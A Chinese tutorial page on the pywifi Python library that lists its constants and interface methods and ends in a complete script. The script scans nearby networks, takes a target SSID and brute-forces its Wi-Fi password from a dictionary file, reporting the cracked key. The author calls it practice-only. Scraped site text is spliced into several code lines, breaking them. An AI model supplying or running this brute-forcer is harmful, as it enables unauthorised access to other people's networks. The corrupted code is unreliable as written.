开发者

python中pywifi的具体使用

开发者 https://www.devze.com 2023-03-07 09:17 出处:网络 作者: 一只小余
目录写在前面pywifi常量接口wifi连接代码写在前面 无线AP(Access Point):即无线接入点
目录
  • 写在前面
  • pywifi
    • 常量
    • 接口
  • wifi连接代码

    写在前面

    无线AP(Access Point):即无线接入点

    python的wifi管理模块叫pywifi

    安装

    pip install pywifi

    pywifi

    常量

    接口状态

    Interface.status()将返回以下状态代码之一。

    const.IFACE_DISCONNECTED # 无连接
    const.IFACE_SCANNING # 扫描中
    const.IFACE_INACTIVE # 激活
    const.IFACE_CONNECTING    # 连接中
    const.IFACE_CONNECTED    # 连接

    身份验证算法

    身份验证算法应辅助到配置文件中。 在正常情况下,几乎www.devze.com所有AP都使用开放算法。

    const.AUTH_OPEN    # 授权打开
    const.AUTH_SHARED # 身份验证共享

    密钥管理类型

    密钥管理类型应分配给配置文件。

    对于普通 AP,如果

    AP 不是安全设置,请将配置文件 AKM 设置为 。AKM_TYPE_NONE

    AP 处于 wpA 模式,将配置文件 AKM 设置为 。AKM_TYUPE_WPAPSK

    AP 处于 WPA2 模式,将配置文件 AKM 设置为 。AKM_TYUPE_WPA2PSK 

    AKM_TYPE_WPA并由企业 AP 使用。AKM_TYPE_WPA2

    http://www.devze.com
    const.AKM_TYPE_NONE
    const.AKM_TYPE_WPA
    const.AKM_TYPE_WPAPSK
    const.AKM_TYPE_WPA2
    const.AKM_TYPE_WPA2PSK # 一般用这个

    密码类型

    如果 akm 不是,则应将密码类型设置为配置文件。 您可以参考要连接的AP的设置。AKM_TYPE_NONE

    const.CIPHER_TYPE_NONE
    const.CIPHER_TYPE_WEP
    const.CIPHER_TYPE_TKIP
    const.CIPHER_TYPE_CCMP

    网络配置文件

    配置文件是我们要连接到的AP的设置。 配置文件的字段:

    • ssid- AP 的 ssid/wifi的名字
    • auth- AP 的身份验证算法。
    • akm- AP 的密钥管理类型。
    • cipher- AP 的密码类型。
    • key (最佳) - AP 的键。 如果密码不是 ,则应设置此项。CIPHER_TYPE_NONE

    接口

    接口是指我们用来执行的 Wi-Fi 接口 Wi-Fi 操作(例如扫描、连接、断开连接等)。

    首先:获取接口信息

    通常,平台中将只有一个Wi-Fi接口。 因此,使用索引 0 00 获取 Wi-Fi 接口。

    import pywifi
    
    wifi = pywifi.PyWiFi()
    iface = wifi.interfaces()[0]

    Interface.name()

    获取 Wi-Fi 接口的名称。

    Interface.scan()

    触发接口扫描 APs。

    Interface.scan_results()

    获取上一次触发扫描的结果。 将返回配置文件列表。

    注意:因为每个 Wi-Fi 接口的扫描时间都是不同的。 2~8秒后拨打更安全。

    Interface.add_network_profile(profile)

    添加 AP 配置文件以便稍后连接。

    Interface.remove_all_network_profiles()

    卸下所有AP配置文件。

    Interface.network_profiles()

    通过返回配置文件列表获取所有已保存的AP配置文件。

    Interface.connect(profile)

    通过给定配置文件连接到指定的 AP。注意。作为当前的设计,应该是 之前调用的被调用。add_network_profile(profile)connect(profile)

    Interface.disconnect()

    断开当前 AP 连接。

    Interface.status()

    获取当前状态的状态。

    wifi连接代码

    pywifi原理就是操纵网卡,一个一个的试密码,直到密码正确,这时电脑也会连上这个wifi。

    效率极低,就用来练手就行

    害,加上2个字会过不了审核我不理解。这东西又不会真的拿去用,连接一次就得2秒,跑完字典不知道要多久去了。

    # coding:utf-8
    import pywifi
    from pywifi import const
    import time
    import datetime
    
    
    # 输入wifi名称
    def wifi_scan():
      print("开始扫描wifi,请等待...")
      iface.scan() # 扫描
      time.sleep(3)
      results = iface.scan_results() # 扫描结果
      a = set()
      for data in results: # 每一个wifi创建一个对象
        if data.ssid not in a:
          a.add(data.ssid)
          print(data.ssid.encode('raw_unicode_escape').decode('utf-8'))
    
    
    # 测试连接,返回链接结果
    def wifi_connect(pwd):
      # 断开所有连接
      iface.disconnect()
      time.sleep(0.5)
    
      # 测试网卡是否属于断开状态
      wifi_status = iface.status()
      if wifi_status == const.IFACE_DISCONNECTED:
        # 创建WiFi连接文件
        profile = pywifi.Profile()
        # 要连接WiFi的名称
        profile.ssid = name
        # 网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 设定连接文件
        iface.add_network_profile(profile)
        # 调用密码
        profile.key = pwd
    
        # 删除所有连接过的wifi文件
        iface.remove_all_network_profiles()
    
        # 设定新的连接文件
        tep_profile = iface.add_network_profile(profile)
        iface.connect(tep_profile)
    
        # wifi连接时间
        time.sleep(1)
        if iface.sta开发者_Go教程tus() == const.IFACE_CONNECTED:
          return True
        else:
          return False
    
      else:
        print("已有wifi连接")
    
    
    def readPassword():
      print("开始破解:")
      # 密码字典路径"密码本路径"
      path = "路径"
      i = http://www.devze.com0
      # 打开密码字典逐行读取
      with open(path, 'r') as f:
        for line in f:
          pwd = line.strip('\n')
          if 8 < len(pwd) < 16:
            # 一行一行读取
            i += 1
            if i % 10 == 0:
              print("正在进行第{}编程客栈次尝试".format(i))
            b = wifi_connect(pwd)
            if b:
              print("密码已破解: ", pwd)
              print("WiFi已自动连接!!!")
              break
    
    
    # 抓取网卡接口
    wifi = pywifi.PyWiFi()
    # 获取第一个wifi接口
    iface = wifi.inte编程客栈rfaces()[0]
    # 输出全部wifi
    wifi_scan()
    # 输入wifi名称
    name = input("请输入wifi名称:").encode('utf-8').decode('raw_unicode_escape')
    start = datetime.datetime.now()
    readPassword()
    end = datetime.datetime.now()
    print("破解WIFI密码一共用了多长时间:{}".format(end - start))

    到此这篇关于python中pywifi的具体使用的文章就介绍到这了,更多相关python pywifi内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

    0

    精彩评论

    暂无评论...
    验证码 换一张
    取 消

    关注公众号